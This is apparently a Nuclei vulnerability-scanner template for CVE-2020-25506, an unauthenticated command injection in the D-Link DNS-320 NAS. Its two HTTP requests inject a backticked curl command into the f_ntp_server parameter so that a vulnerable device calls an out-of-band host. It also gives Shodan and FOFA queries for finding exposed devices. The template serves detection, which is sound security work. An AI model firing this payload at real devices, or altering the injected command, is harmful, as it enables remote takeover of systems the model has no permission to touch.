D-Link DNS-320 - Unauthenticated Remote Code Execution

id: CVE-2020-25506

info:
  name: D-Link DNS-320 - Unauthenticated Remote Code Execution
  author: gy741
  severity: critical
  description: D-Link DNS-320 FW v2.06B01 Revision Ax is susceptible to a command injection vulnerability in a system_mgr.cgi component. The component does not successfully sanitize the value of the HTTP parameters f_ntp_server, which in turn leads to arbitrary command execution.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected device.
  remediation: |
    Apply the latest firmware update provided by D-Link to mitigate this vulnerability.
  reference:
    - https://gist.github.com/WinMin/6f63fd1ae95977e0e2d49bd4b5f00675
    - https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25506
    - https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10183
    - https://www.dlink.com/en/security-bulletin/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-25506
    cwe-id: CWE-78
    epss-score: 0.97383
    epss-percentile: 0.99903
    cpe: cpe:2.3:o:dlink:dns-320_firmware:2.06b01:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: dlink
    product: dns-320_firmware
    shodan-query: http.html:"sharecenter"
    fofa-query: body="sharecenter"
  tags: cve,cve2020,dlink,rce,oast,mirai,unauth,router,kev
variables:
  useragent: '{{rand_base(6)}}'

http:
  - raw:
      - |
        POST /cgi-bin/system_mgr.cgi? HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

        C1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'`
      - |
        POST /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'` HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: {{useragent}}"
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